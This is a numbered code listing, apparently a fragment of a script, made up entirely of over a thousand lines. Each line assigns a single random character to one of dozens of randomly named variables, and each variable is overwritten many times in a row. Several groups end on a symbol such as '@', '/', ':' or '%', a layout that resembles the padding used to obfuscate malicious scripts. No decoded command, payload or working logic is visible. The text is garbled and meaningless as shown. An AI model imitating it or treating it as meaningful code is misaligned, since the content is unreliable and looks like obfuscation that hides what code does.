85	gzxyqh = "I";
86	gzxyqh = "c";
87	gzxyqh = "i";
88	gzxyqh = "R";
89	gzxyqh = "M";
90	gzxyqh = "I";
91	gzxyqh = "B";
92	gzxyqh = "k";
93	gzxyqh = "R";
94	gzxyqh = "k";
95	gzxyqh = "S";
96	gzxyqh = "a";
97	gzxyqh = "K";
98	gzxyqh = "n";
99	gzxyqh = "F";
100	gzxyqh = "U";
101	gzxyqh = "d";
102	gzxyqh = "L";
103	gzxyqh = "r";
104	gzxyqh = "S";
105	gzxyqh = "P";
106	gzxyqh = "s";
107	gzxyqh = "w";
108	gzxyqh = "t";
109	gzxyqh = "d";
110	gzxyqh = "E";
111	gzxyqh = "O";
112	gzxyqh = "B";
113	gzxyqh = "L";
114	gzxyqh = "i";
115	gzxyqh = "d";
116	gzxyqh = "P";
117	gzxyqh = "D";
118	gzxyqh = "R";
119	gzxyqh = "L";
120	gzxyqh = "-";
121	dvzmdmnmu = "c";
122	dvzmdmnmu = "M";
123	dvzmdmnmu = "i";
124	dvzmdmnmu = "s";
125	dvzmdmnmu = "t";
126	dvzmdmnmu = "h";
127	dvzmdmnmu = "m";
128	dvzmdmnmu = "Y";
129	dvzmdmnmu = "f";
130	dvzmdmnmu = "h";
131	dvzmdmnmu = "y";
132	dvzmdmnmu = "F";
133	dvzmdmnmu = "f";
134	dvzmdmnmu = "V";
135	dvzmdmnmu = "K";
136	dvzmdmnmu = "h";
137	dvzmdmnmu = "b";
138	dvzmdmnmu = "C";
139	dvzmdmnmu = "I";
140	dvzmdmnmu = "Q";
141	dvzmdmnmu = "K";
142	dvzmdmnmu = "N";
143	dvzmdmnmu = "J";
144	dvzmdmnmu = "Q";
145	dvzmdmnmu = "O";
146	dvzmdmnmu = "C";
147	dvzmdmnmu = "K";
148	dvzmdmnmu = "k";
149	dvzmdmnmu = "o";
150	dvzmdmnmu = "D";
151	dvzmdmnmu = "h";
152	dvzmdmnmu = "c";
153	dvzmdmnmu = "Z";
154	dvzmdmnmu = "o";
155	dvzmdmnmu = "G";
156	dvzmdmnmu = "7";
157	cevvobvl = "d";
158	cevvobvl = "w";
159	cevvobvl = "g";
160	cevvobvl = "P";
161	cevvobvl = "u";
162	cevvobvl = "Z";
163	cevvobvl = "C";
164	cevvobvl = "e";
165	cevvobvl = "d";
166	cevvobvl = "M";
167	cevvobvl = "f";
168	ufcmnz = "h";
169	ufcmnz = "r";
170	ufcmnz = "N";
171	ufcmnz = "z";
172	ufcmnz = "q";
173	ufcmnz = "F";
174	ufcmnz = "E";
175	ufcmnz = "x";
176	ufcmnz = "t";
177	ufcmnz = "s";
178	ufcmnz = "Y";
179	ufcmnz = "m";
180	ufcmnz = "M";
181	ufcmnz = "O";
182	ufcmnz = "b";
183	ufcmnz = "b";
184	ufcmnz = "g";
185	ufcmnz = "W";
186	ufcmnz = "G";
187	ufcmnz = "d";
188	ufcmnz = "q";
189	ufcmnz = "g";
190	ufcmnz = "j";
191	ufcmnz = "r";
192	ufcmnz = "e";
193	ufcmnz = "Q";
194	ufcmnz = "x";
195	ufcmnz = "N";
196	ufcmnz = "Y";
197	ufcmnz = "o";
198	ufcmnz = "Y";
199	ufcmnz = "b";
200	ufcmnz = "g";
201	ufcmnz = "Y";
202	ufcmnz = "u";
203	ufcmnz = "z";
204	ufcmnz = "w";
205	ufcmnz = "j";
206	ufcmnz = "j";
207	ufcmnz = "T";
208	ufcmnz = "i";
209	ufcmnz = "J";
210	ufcmnz = "d";
211	zbzkkdzsr = "Q";
212	zbzkkdzsr = "W";
213	zbzkkdzsr = "o";
214	zbzkkdzsr = "Y";
215	zbzkkdzsr = "C";
216	zbzkkdzsr = "X";
217	zbzkkdzsr = "R";
218	zbzkkdzsr = "x";
219	zbzkkdzsr = "H";
220	zbzkkdzsr = "T";
221	zbzkkdzsr = "i";
222	zbzkkdzsr = "q";
223	zbzkkdzsr = "c";
224	zbzkkdzsr = "c";
225	zbzkkdzsr = "x";
226	zbzkkdzsr = "v";
227	zbzkkdzsr = "l";
228	zbzkkdzsr = "s";
229	zbzkkdzsr = "b";
230	zbzkkdzsr = "_";
231	hztmz = "W";
232	hztmz = "e";
233	hztmz = "B";
234	hztmz = "v";
235	hztmz = "T";
236	hztmz = "J";
237	hztmz = "c";
238	hztmz = "Y";
239	hztmz = "M";
240	hztmz = "X";
241	hztmz = "B";
242	hztmz = "u";
243	hztmz = "g";
244	hztmz = "N";
245	hztmz = "R";
246	hztmz = "T";
247	hztmz = "u";
248	hztmz = "p";
249	hztmz = "W";
250	hztmz = "V";
251	hztmz = "k";
252	hztmz = "Q";
253	hztmz = "c";
254	hztmz = "Z";
255	hztmz = "F";
256	hztmz = "L";
257	hztmz = "y";
258	hztmz = "C";
259	hztmz = "Q";
260	hztmz = "m";
261	hztmz = "Q";
262	hztmz = "c";
263	hztmz = "w";
264	hztmz = "m";
265	hztmz = "L";
266	hztmz = "K";
267	qqmvyypt = "I";
268	qqmvyypt = "J";
269	qqmvyypt = "K";
270	qqmvyypt = "K";
271	qqmvyypt = "N";
272	qqmvyypt = "h";
273	qqmvyypt = "j";
274	qqmvyypt = "P";
275	qqmvyypt = "Y";
276	qqmvyypt = "E";
277	qqmvyypt = "i";
278	qqmvyypt = "z";
279	qqmvyypt = "J";
280	qqmvyypt = "z";
281	qqmvyypt = "u";
282	qqmvyypt = "l";
283	qqmvyypt = "n";
284	qqmvyypt = "b";
285	qqmvyypt = "m";
286	qqmvyypt = "D";
287	qqmvyypt = "U";
288	qqmvyypt = "h";
289	qqmvyypt = "Y";
290	qqmvyypt = "K";
291	qqmvyypt = "O";
292	qqmvyypt = "R";
293	qqmvyypt = "t";
294	qqmvyypt = "B";
295	qqmvyypt = "l";
296	qqmvyypt = "T";
297	qqmvyypt = "Q";
298	qqmvyypt = "c";
299	qqmvyypt = "@";
300	fnbwk = "g";
301	fnbwk = "q";
302	fnbwk = "O";
303	fnbwk = "F";
304	fnbwk = "J";
305	fnbwk = "s";
306	fnbwk = "W";
307	fnbwk = "F";
308	fnbwk = "x";
309	fnbwk = "A";
310	fnbwk = "a";
311	fnbwk = "l";
312	fnbwk = "r";
313	fnbwk = "M";
314	fnbwk = "v";
315	fnbwk = "z";
316	fnbwk = "d";
317	fnbwk = "e";
318	fnbwk = "T";
319	fnbwk = "z";
320	fnbwk = "c";
321	fnbwk = "q";
322	fnbwk = "s";
323	fnbwk = "I";
324	fnbwk = "l";
325	fnbwk = "K";
326	fnbwk = "x";
327	fnbwk = "I";
328	fnbwk = "Y";
329	fnbwk = "M";
330	fnbwk = "g";
331	fnbwk = "g";
332	fnbwk = "E";
333	fnbwk = "j";
334	fnbwk = "f";
335	fnbwk = "n";
336	fnbwk = "c";
337	fnbwk = "N";
338	fnbwk = "y";
339	fnbwk = "/";
340	wbhcjkl = "f";
341	wbhcjkl = "X";
342	wbhcjkl = "T";
343	wbhcjkl = "y";
344	wbhcjkl = "b";
345	wbhcjkl = "M";
346	wbhcjkl = "t";
347	wbhcjkl = "S";
348	wbhcjkl = "P";
349	wbhcjkl = "A";
350	wbhcjkl = "z";
351	wbhcjkl = "k";
352	wbhcjkl = "q";
353	wbhcjkl = "P";
354	wbhcjkl = "O";
355	wbhcjkl = "e";
356	wbhcjkl = "M";
357	wbhcjkl = "5";
358	uyuemmf = "z";
359	uyuemmf = "J";
360	uyuemmf = "B";
361	uyuemmf = "P";
362	uyuemmf = "e";
363	uyuemmf = "y";
364	uyuemmf = "v";
365	uyuemmf = "L";
366	uyuemmf = "y";
367	uyuemmf = "H";
368	uyuemmf = "U";
369	uyuemmf = "t";
370	uyuemmf = "X";
371	uyuemmf = "I";
372	uyuemmf = "S";
373	uyuemmf = "P";
374	uyuemmf = "e";
375	uyuemmf = "t";
376	uyuemmf = ".";
377	tglyy = "M";
378	tglyy = "p";
379	tglyy = "l";
380	tglyy = "F";
381	tglyy = "R";
382	tglyy = "A";
383	tglyy = "U";
384	tglyy = "b";
385	tglyy = "j";
386	tglyy = "Q";
387	tglyy = "A";
388	tglyy = "e";
389	tglyy = "h";
390	tglyy = "g";
391	tglyy = "d";
392	tglyy = "M";
393	tglyy = "z";
394	tglyy = "B";
395	tglyy = "f";
396	tglyy = "q";
397	tglyy = "2";
398	qfdfb = "B";
399	qfdfb = "D";
400	qfdfb = "u";
401	qfdfb = "d";
402	qfdfb = "P";
403	qfdfb = "J";
404	qfdfb = "V";
405	qfdfb = "i";
406	qfdfb = "p";
407	qfdfb = "v";
408	qfdfb = "B";
409	qfdfb = "S";
410	qfdfb = "P";
411	qfdfb = "i";
412	qfdfb = "e";
413	qfdfb = "l";
414	qfdfb = "p";
415	qfdfb = "w";
416	qfdfb = "Q";
417	qfdfb = "o";
418	qfdfb = "J";
419	qfdfb = "m";
420	qfdfb = "U";
421	qfdfb = "j";
422	qfdfb = "t";
423	qfdfb = "Y";
424	qfdfb = "f";
425	qfdfb = "w";
426	qfdfb = "b";
427	qfdfb = "v";
428	qfdfb = "l";
429	xrukisz = "b";
430	xrukisz = "Z";
431	xrukisz = "l";
432	xrukisz = "S";
433	xrukisz = "s";
434	xrukisz = "w";
435	xrukisz = "L";
436	xrukisz = "D";
437	xrukisz = "S";
438	qwopqz = "a";
439	qwopqz = "Y";
440	qwopqz = "U";
441	qwopqz = "A";
442	qwopqz = "9";
443	xyqxsy = "U";
444	xyqxsy = "z";
445	xyqxsy = "R";
446	xyqxsy = "O";
447	xyqxsy = "I";
448	xyqxsy = "C";
449	xyqxsy = "r";
450	xyqxsy = "A";
451	xyqxsy = "e";
452	xyqxsy = "d";
453	xyqxsy = "n";
454	xyqxsy = "s";
455	xyqxsy = "X";
456	xyqxsy = "g";
457	xyqxsy = "g";
458	xyqxsy = "n";
459	xyqxsy = "G";
460	xyqxsy = "X";
461	xyqxsy = "H";
462	xyqxsy = "W";
463	xyqxsy = "w";
464	xyqxsy = "k";
465	xyqxsy = "w";
466	xyqxsy = "I";
467	xyqxsy = "n";
468	rlkjuf = "X";
469	rlkjuf = "Y";
470	rlkjuf = "J";
471	rlkjuf = "D";
472	rlkjuf = "V";
473	rlkjuf = "N";
474	rlkjuf = "m";
475	rlkjuf = "B";
476	rlkjuf = "x";
477	rlkjuf = "s";
478	rlkjuf = "o";
479	rlkjuf = "J";
480	rlkjuf = "G";
481	rlkjuf = "j";
482	rlkjuf = "o";
483	liwsbti = "v";
484	liwsbti = "h";
485	liwsbti = "J";
486	liwsbti = "l";
487	liwsbti = "o";
488	liwsbti = "M";
489	liwsbti = "G";
490	liwsbti = "f";
491	liwsbti = "B";
492	liwsbti = "h";
493	liwsbti = "n";
494	liwsbti = "K";
495	liwsbti = "U";
496	liwsbti = "N";
497	liwsbti = "y";
498	liwsbti = "g";
499	liwsbti = "A";
500	liwsbti = "a";
501	liwsbti = "i";
502	liwsbti = "m";
503	liwsbti = "U";
504	liwsbti = "K";
505	liwsbti = "W";
506	liwsbti = "a";
507	liwsbti = "C";
508	liwsbti = "s";
509	ozicsib = "G";
510	ozicsib = "V";
511	ozicsib = "Y";
512	ozicsib = "F";
513	ozicsib = "c";
514	ozicsib = "j";
515	ozicsib = "T";
516	ozicsib = "l";
517	ozicsib = "S";
518	ozicsib = "V";
519	ozicsib = "I";
520	ozicsib = "e";
521	ozicsib = "w";
522	ozicsib = "R";
523	ozicsib = "K";
524	ozicsib = "P";
525	ozicsib = "S";
526	ozicsib = "e";
527	ozicsib = "G";
528	ozicsib = "v";
529	ozicsib = "y";
530	ozicsib = "P";
531	ozicsib = "K";
532	ozicsib = "t";
533	ozicsib = "y";
534	ozicsib = "J";
535	ozicsib = "R";
536	ozicsib = "n";
537	ozicsib = "x";
538	ozicsib = "F";
539	ozicsib = "j";
540	ozicsib = "j";
541	ozicsib = "B";
542	ozicsib = "F";
543	ozicsib = ":";
544	gzrngrll = "E";
545	gzrngrll = "X";
546	gzrngrll = "X";
547	gzrngrll = "O";
548	gzrngrll = "L";
549	gzrngrll = "J";
550	gzrngrll = "L";
551	gzrngrll = "M";
552	gzrngrll = "C";
553	gzrngrll = "i";
554	gzrngrll = "R";
555	gzrngrll = "p";
556	gzrngrll = "G";
557	gzrngrll = "R";
558	gzrngrll = "G";
559	gzrngrll = "z";
560	gzrngrll = "d";
561	gzrngrll = "M";
562	gzrngrll = "G";
563	gzrngrll = "z";
564	gzrngrll = "Q";
565	gzrngrll = "p";
566	gzrngrll = "p";
567	gzrngrll = "p";
568	gzrngrll = "C";
569	gzrngrll = "z";
570	gzrngrll = "R";
571	gzrngrll = "g";
572	gzrngrll = "Q";
573	gzrngrll = "m";
574	gzrngrll = "C";
575	gzrngrll = "n";
576	gzrngrll = "G";
577	gzrngrll = "S";
578	gzrngrll = "o";
579	gzrngrll = "e";
580	gzrngrll = "N";
581	gzrngrll = "y";
582	gzrngrll = "R";
583	gzrngrll = "v";
584	gzrngrll = "8";
585	vnkncod = "u";
586	vnkncod = "E";
587	vnkncod = "m";
588	vnkncod = "r";
589	vnkncod = "t";
590	vnkncod = "M";
591	vnkncod = "G";
592	vnkncod = "N";
593	xsxwuopwk = "E";
594	xsxwuopwk = "Z";
595	xsxwuopwk = "L";
596	xsxwuopwk = "r";
597	xsxwuopwk = "x";
598	xsxwuopwk = "f";
599	xsxwuopwk = "z";
600	xsxwuopwk = "x";
601	xsxwuopwk = "M";
602	xsxwuopwk = "d";
603	xsxwuopwk = "L";
604	xsxwuopwk = "G";
605	xsxwuopwk = "Q";
606	xsxwuopwk = "P";
607	xsxwuopwk = "e";
608	xsxwuopwk = "g";
609	xsxwuopwk = "Q";
610	xsxwuopwk = "U";
611	xsxwuopwk = "X";
612	xsxwuopwk = "m";
613	xsxwuopwk = "d";
614	xsxwuopwk = "m";
615	xsxwuopwk = "L";
616	upvkzi = "T";
617	upvkzi = "n";
618	upvkzi = "E";
619	upvkzi = "R";
620	upvkzi = "n";
621	upvkzi = "i";
622	upvkzi = "K";
623	upvkzi = "l";
624	upvkzi = "V";
625	upvkzi = "D";
626	upvkzi = "F";
627	upvkzi = "V";
628	upvkzi = "L";
629	upvkzi = "f";
630	upvkzi = "b";
631	upvkzi = "d";
632	upvkzi = "y";
633	upvkzi = "y";
634	upvkzi = "k";
635	upvkzi = "t";
636	upvkzi = "U";
637	upvkzi = "g";
638	upvkzi = "g";
639	upvkzi = "i";
640	upvkzi = "L";
641	upvkzi = "o";
642	upvkzi = "i";
643	upvkzi = "r";
644	upvkzi = "c";
645	upvkzi = "x";
646	upvkzi = "S";
647	upvkzi = "K";
648	upvkzi = "d";
649	upvkzi = "j";
650	upvkzi = "a";
651	upvkzi = "d";
652	upvkzi = "E";
653	upvkzi = "h";
654	upvkzi = "A";
655	upvkzi = "a";
656	upvkzi = "o";
657	upvkzi = "h";
658	upvkzi = "T";
659	upvkzi = "M";
660	upvkzi = "p";
661	qmhgm = "t";
662	qmhgm = "D";
663	qmhgm = "h";
664	qmhgm = "s";
665	qmhgm = "d";
666	qmhgm = "K";
667	qmhgm = "6";
668	zjrvlhko = "R";
669	zjrvlhko = "x";
670	zjrvlhko = "h";
671	zjrvlhko = "v";
672	zjrvlhko = "c";
673	zjrvlhko = "d";
674	zjrvlhko = "N";
675	zjrvlhko = "Q";
676	zjrvlhko = "u";
677	zjrvlhko = "r";
678	zjrvlhko = "J";
679	zjrvlhko = "a";
680	zjrvlhko = "c";
681	zjrvlhko = "4";
682	qewmfcsm = "A";
683	qewmfcsm = "X";
684	qewmfcsm = "B";
685	qewmfcsm = "d";
686	qewmfcsm = "j";
687	qewmfcsm = "k";
688	qewmfcsm = "s";
689	qewmfcsm = "T";
690	qewmfcsm = "s";
691	qewmfcsm = "j";
692	qewmfcsm = "E";
693	qewmfcsm = "M";
694	qewmfcsm = "m";
695	qewmfcsm = "I";
696	qewmfcsm = "Z";
697	qewmfcsm = "r";
698	qewmfcsm = "m";
699	qewmfcsm = "q";
700	qewmfcsm = "y";
701	qewmfcsm = "p";
702	qewmfcsm = "u";
703	qewmfcsm = "O";
704	qewmfcsm = "M";
705	qewmfcsm = "P";
706	qewmfcsm = "j";
707	qewmfcsm = "z";
708	qewmfcsm = "F";
709	qewmfcsm = "Z";
710	qewmfcsm = "i";
711	qewmfcsm = "A";
712	qewmfcsm = "e";
713	qewmfcsm = "l";
714	qewmfcsm = "M";
715	qewmfcsm = "b";
716	qewmfcsm = "T";
717	qewmfcsm = "K";
718	qewmfcsm = "w";
719	qewmfcsm = "o";
720	qewmfcsm = "W";
721	nbjtljj = "A";
722	nbjtljj = "G";
723	nbjtljj = "L";
724	nbjtljj = "y";
725	nbjtljj = "y";
726	nbjtljj = "s";
727	nbjtljj = "y";
728	nbjtljj = "R";
729	nbjtljj = "k";
730	nbjtljj = "K";
731	nbjtljj = "G";
732	nbjtljj = "Z";
733	nbjtljj = "W";
734	nbjtljj = "g";
735	nbjtljj = "X";
736	nbjtljj = "Q";
737	nbjtljj = "C";
738	nbjtljj = "N";
739	nbjtljj = "V";
740	nbjtljj = "J";
741	nbjtljj = "l";
742	nbjtljj = "w";
743	nbjtljj = "p";
744	nbjtljj = "z";
745	nbjtljj = "J";
746	nbjtljj = "i";
747	nbjtljj = "l";
748	nbjtljj = "S";
749	nbjtljj = "B";
750	nbjtljj = "A";
751	nbjtljj = "e";
752	nbjtljj = "\\";
753	mzfqa = "Q";
754	mzfqa = "U";
755	mzfqa = "a";
756	mzfqa = "x";
757	mzfqa = "w";
758	mzfqa = "s";
759	mzfqa = "N";
760	mzfqa = "s";
761	mzfqa = "i";
762	mzfqa = "g";
763	mzfqa = "y";
764	mzfqa = "Y";
765	mzfqa = "M";
766	mzfqa = "T";
767	mzfqa = "G";
768	mzfqa = "R";
769	mzfqa = "t";
770	uerjfx = "l";
771	uerjfx = "v";
772	uerjfx = "F";
773	uerjfx = "e";
774	uerjfx = "K";
775	uerjfx = "L";
776	uerjfx = "t";
777	uerjfx = "x";
778	uerjfx = "q";
779	uerjfx = "g";
780	uerjfx = "x";
781	uerjfx = "C";
782	uerjfx = "G";
783	uerjfx = "Z";
784	uerjfx = "O";
785	uerjfx = "x";
786	grunllkij = "b";
787	grunllkij = "u";
788	grunllkij = "J";
789	grunllkij = "Q";
790	grunllkij = "G";
791	grunllkij = "g";
792	grunllkij = "T";
793	grunllkij = "G";
794	grunllkij = "O";
795	grunllkij = "P";
796	grunllkij = "f";
797	grunllkij = "Q";
798	grunllkij = "n";
799	grunllkij = "E";
800	grunllkij = "e";
801	grunllkij = "l";
802	grunllkij = "P";
803	grunllkij = "Z";
804	grunllkij = "L";
805	grunllkij = "Q";
806	grunllkij = "g";
807	grunllkij = "t";
808	grunllkij = "S";
809	grunllkij = "F";
810	grunllkij = "p";
811	grunllkij = "K";
812	grunllkij = "C";
813	grunllkij = "o";
814	grunllkij = "l";
815	grunllkij = "e";
816	grunllkij = "W";
817	grunllkij = "m";
818	cqugat = "G";
819	cqugat = "v";
820	cqugat = "t";
821	cqugat = "x";
822	cqugat = "f";
823	cqugat = "f";
824	cqugat = "Y";
825	cqugat = "o";
826	cqugat = "x";
827	cqugat = "B";
828	cqugat = "k";
829	cqugat = "h";
830	cqugat = "j";
831	cqugat = "t";
832	cqugat = "F";
833	cqugat = "l";
834	cqugat = "s";
835	cqugat = "s";
836	cqugat = "v";
837	cqugat = "r";
838	cqugat = "E";
839	cqugat = "c";
840	cqugat = "q";
841	cqugat = "r";
842	cqugat = "a";
843	cqugat = "r";
844	hvwwv = "V";
845	hvwwv = "D";
846	hvwwv = "P";
847	hvwwv = "C";
848	hvwwv = "l";
849	hvwwv = "v";
850	hvwwv = "q";
851	hvwwv = "L";
852	hvwwv = "i";
853	hvwwv = "b";
854	hvwwv = "r";
855	hvwwv = "Q";
856	banbucqan = "x";
857	banbucqan = "e";
858	banbucqan = "R";
859	banbucqan = "p";
860	banbucqan = "%";
861	sqzgcjje = "E";
862	sqzgcjje = "j";
863	sqzgcjje = "O";
864	sqzgcjje = "N";
865	sqzgcjje = "J";
866	sqzgcjje = "S";
867	sqzgcjje = "l";
868	sqzgcjje = "a";
869	sqzgcjje = "S";
870	sqzgcjje = "F";
871	sqzgcjje = "Y";
872	sqzgcjje = "H";
873	sqzgcjje = "q";
874	sqzgcjje = "F";
875	sqzgcjje = "m";
876	sqzgcjje = "Q";
877	sqzgcjje = "p";
878	sqzgcjje = "m";
879	sqzgcjje = "x";
880	sqzgcjje = "D";
881	sqzgcjje = "v";
882	sqzgcjje = "l";
883	sqzgcjje = "R";
884	sqzgcjje = "w";
885	sqzgcjje = "i";
886	sqzgcjje = "q";
887	sqzgcjje = "V";
888	sqzgcjje = "u";
889	sqzgcjje = "E";
890	sqzgcjje = "T";
891	sqzgcjje = "Y";
892	sqzgcjje = "I";
893	sqzgcjje = "W";
894	sqzgcjje = "X";
895	sqzgcjje = "Q";
896	sqzgcjje = "l";
897	sqzgcjje = " ";
898	fqoptu = "j";
899	fqoptu = "P";
900	fqoptu = "W";
901	fqoptu = "a";
902	fqoptu = "w";
903	fqoptu = "K";
904	fqoptu = "P";
905	fqoptu = "x";
906	fqoptu = "x";
907	fqoptu = "m";
908	fqoptu = "D";
909	fqoptu = "c";
910	fqoptu = "Q";
911	fqoptu = "V";
912	fqoptu = "r";
913	fqoptu = "X";
914	fqoptu = "w";
915	fqoptu = "p";
916	fqoptu = "X";
917	fqoptu = "P";
918	fqoptu = "s";
919	fqoptu = "r";
920	fqoptu = "W";
921	fqoptu = "L";
922	fqoptu = "l";
923	fqoptu = "h";
924	ugnjsik = "v";
925	ugnjsik = "M";
926	ugnjsik = "V";
927	ugnjsik = "N";
928	ugnjsik = "e";
929	ugnjsik = "Y";
930	ugnjsik = "D";
931	ugnjsik = "n";
932	ugnjsik = "H";
933	ugnjsik = "k";
934	ugnjsik = "a";
935	ugnjsik = "w";
936	ugnjsik = "C";
937	ugnjsik = "q";
938	ugnjsik = "b";
939	ugnjsik = "v";
940	ugnjsik = "J";
941	ugnjsik = "F";
942	ugnjsik = "y";
943	ugnjsik = "X";
944	ugnjsik = "u";
945	ugnjsik = "M";
946	ugnjsik = "q";
947	ugnjsik = "q";
948	ugnjsik = "s";
949	ugnjsik = "N";
950	ugnjsik = "h";
951	ugnjsik = "c";
952	ugnjsik = "b";
953	ugnjsik = "O";
954	ugnjsik = "f";
955	ugnjsik = "j";
956	ugnjsik = "w";
957	ugnjsik = "M";
958	ugnjsik = "B";
959	ugnjsik = "b";
960	ugnjsik = "z";
961	ugnjsik = "M";
962	ugnjsik = "e";
963	xqhujpuy = "M";
964	xqhujpuy = "B";
965	xqhujpuy = "B";
966	xqhujpuy = "P";
967	xqhujpuy = "m";
968	xqhujpuy = "k";
969	xqhujpuy = "t";
970	xqhujpuy = "h";
971	xqhujpuy = "V";
972	xqhujpuy = "b";
973	xqhujpuy = "v";
974	xqhujpuy = "C";
975	eqcoq = "v";
976	eqcoq = "C";
977	eqcoq = "W";
978	eqcoq = "Q";
979	eqcoq = "Q";
980	eqcoq = "j";
981	eqcoq = "Z";
982	eqcoq = "z";
983	eqcoq = "P";
984	eqcoq = "N";
985	eqcoq = "l";
986	eqcoq = "H";
987	eqcoq = "I";
988	eqcoq = "T";
989	eqcoq = "B";
990	eqcoq = "z";
991	eqcoq = "Y";
992	eqcoq = "z";
993	eqcoq = "K";
994	eqcoq = "g";
995	eqcoq = "K";
996	eqcoq = "T";
997	eqcoq = "Z";
998	eqcoq = "h";
999	eqcoq = "K";
1000	eqcoq = "G";
1001	eqcoq = "d";
1002	eqcoq = "I";
1003	eqcoq = "b";
1004	eqcoq = "G";
1005	eqcoq = "p";
1006	eqcoq = "J";
1007	eqcoq = "T";
1008	eqcoq = "s";
1009	eqcoq = "d";
1010	eqcoq = "V";
1011	eqcoq = "x";
1012	eqcoq = "t";
1013	eqcoq = "K";
1014	eqcoq = "h";
1015	eqcoq = "g";
1016	eqcoq = "z";
1017	eqcoq = "l";
1018	eqcoq = "q";
1019	eqcoq = "b";
1020	fvknxg = "C";
1021	fvknxg = "U";
1022	fvknxg = "w";
1023	fvknxg = "c";
1024	fvknxg = "A";
1025	fvknxg = "H";
1026	fvknxg = "Q";
1027	fvknxg = "o";
1028	fvknxg = "b";
1029	fvknxg = "C";
1030	fvknxg = "O";
1031	fvknxg = "g";
1032	fvknxg = "o";
1033	fvknxg = "L";
1034	fvknxg = "G";
1035	fvknxg = "b";
1036	fvknxg = "W";
1037	fvknxg = "A";
1038	fvknxg = "C";
1039	fvknxg = "v";
1040	fvknxg = "I";
1041	fvknxg = "Y";
1042	fvknxg = "G";
1043	fvknxg = "H";
1044	fvknxg = "U";
1045	zpanppgiv = "w";
1046	zpanppgiv = "a";
1047	zpanppgiv = "0";
1048	ryetjh = "d";
1049	ryetjh = "t";
1050	ryetjh = "t";
1051	ryetjh = "M";
1052	ryetjh = "F";
1053	ryetjh = "n";
1054	ryetjh = "R";
1055	ryetjh = "S";
1056	ryetjh = "Y";
1057	ryetjh = "g";
1058	ryetjh = "V";
1059	ryetjh = "H";
1060	ryetjh = "t";
1061	ryetjh = "d";
1062	ryetjh = "E";
1063	ryetjh = "A";
1064	ryetjh = "Z";
1065	ryetjh = "d";
1066	ryetjh = "R";
1067	ryetjh = "r";
1068	ryetjh = "T";
1069	ryetjh = "a";
1070	ryetjh = "O";
1071	ryetjh = "g";
1072	ryetjh = "I";
1073	ryetjh = "X";
1074	ryetjh = "E";
1075	ryetjh = "M";
1076	ryetjh = "R";
1077	ryetjh = "q";
1078	ryetjh = "v";
1079	ryetjh = "o";
1080	ryetjh = "U";
1081	ryetjh = "z";
1082	ryetjh = "P";
1083	ryetjh = "E";
1084	ryetjh = "S";
1085	ryetjh = "V";
1086	ryetjh = "G";
1087	ryetjh = "d";
1088	ryetjh = "Z";
1089	ryetjh = "w";
1090	ryetjh = "d";
1091	ryetjh = "a";
1092	ssvgehv = "E";
1093	ssvgehv = "u";
1094	ssvgehv = "j";
1095	ssvgehv = "H";
1096	ssvgehv = "j";
1097	ssvgehv = "L";
1098	ssvgehv = "c";
1099	vnmixkce = "A";
1100	vnmixkce = "I";
1101	zjfhzj = "r";
1102	zjfhzj = "r";
1103	zjfhzj = "c";
1104	zjfhzj = "X";
1105	zjfhzj = "I";
1106	zjfhzj = "c";
1107	zjfhzj = "E";
1108	zjfhzj = "i";
1109	zjfhzj = "k";
1110	zjfhzj = "t";
1111	zjfhzj = "s";
1112	zjfhzj = "B";
1113	zjfhzj = "l";
1114	zjfhzj = "s";
1115	zjfhzj = "d";
1116	zjfhzj = "x";
1117	zjfhzj = "w";
1118	zjfhzj = "l";
1119	zjfhzj = "u";
1120	zjfhzj = "n";
1121	zjfhzj = "Z";
1122	zjfhzj = "e";
1123	zjfhzj = "j";
1124	zjfhzj = "W";
1125	zjfhzj = "s";
1126	zjfhzj = "Y";
1127	zjfhzj = "E";
1128	zjfhzj = "v";
1129	zjfhzj = "y";
1130	zjfhzj = "z";
1131	zjfhzj = "E";
1132	zjfhzj = "q";
1133	zjfhzj = "G";
1134	zjfhzj = "k";
1135	tbkojolt = "R";
1136	tbkojolt = "w";
1137	tbkojolt = "x";
1138	tbkojolt = "D";
1139	tbkojolt = "j";
1140	tbkojolt = "Y";
1141	tbkojolt = "n";
1142	tbkojolt = "I";
1143	tbkojolt = "w";
1144	tbkojolt = "v";
1145	tbkojolt = "L";
1146	tbkojolt = "J";
1147	tbkojolt = "B";
1148	tbkojolt = "T";
1149	tbkojolt = "Y";
1150	tbkojolt = "a";
1151	tbkojolt = "U";
1152	tbkojolt = "J";
1153	tbkojolt = "Q";
1154	tbkojolt = "j";
1155	tbkojolt = "d";
1156	tbkojolt = "v";
1157	tbkojolt = "J";
1158	tbkojolt = "a";
1159	tbkojolt = "n";
1160	tbkojolt = "m";
1161	tbkojolt = "R";
1162	tbkojolt = "o";
1163	tbkojolt = "b";
1164	tbkojolt = "S";
1165	tbkojolt = "I";
1166	tbkojolt = "u";
1167	tbkojolt = "E";
1168	tbkojolt = "x";
1169	tbkojolt = "W";
1170	tbkojolt = "C";
1171	tbkojolt = "I";
1172	tbkojolt = "R";
1173	tbkojolt = "X";
1174	tbkojolt = "P";
1175	xhrytxd = "z";
1176	xhrytxd = "W";
1177	xhrytxd = "O";
1178	xhrytxd = "c";
1179	xhrytxd = "u";
1180	oldlhlv = "U";
1181	oldlhlv = "h";
1182	oldlhlv = "l";
1183	oldlhlv = "z";
1184	oldlhlv = "V";
1185	oldlhlv = "p";
1186	oldlhlv = "c";
1187	oldlhlv = "m";
1188	oldlhlv = "S";
1189	oldlhlv = "O";
1190	oldlhlv = "m";
1191	oldlhlv = "J";
1192	oldlhlv = "x";
1193	oldlhlv = "h";
1194	oldlhlv = "q";
1195	oldlhlv = "N";
1196	oldlhlv = "l";
1197	oldlhlv = "n";
1198	oldlhlv = "Y";
1199	oldlhlv = "n";
1200	oldlhlv = "R";
1201	oldlhlv = "L";
1202	oldlhlv = "y";
1203	oldlhlv = "x";
1204	oldlhlv = "G";
1205	oldlhlv = "a";
1206	oldlhlv = "R";
1207	eqjvyz = "b";
1208	eqjvyz = "B";
1209	eqjvyz = "g";
1210	eqjvyz = "R";
1211	eqjvyz = "c";
1212	eqjvyz = "O";
1213	eqjvyz = "Z";
1214	eqjvyz = "q";
1215	eqjvyz = "a";
1216	eqjvyz = "q";
1217	eqjvyz = "d";
1218	eqjvyz = "Q";
1219	eqjvyz = "F";
1220	eqjvyz = "j";
1221	eqjvyz = "E";
1222	eqjvyz = "X";
1223	eqjvyz = "I";
1224	eqjvyz = "&";
1225	zjmpxul = "k";
1226	zjmpxul = "q";
1227	zjmpxul = "t";
1228	zjmpxul = "W";
1229	zjmpxul = "B";
1230	zjmpxul = "H";
1231	zjmpxul = "s";
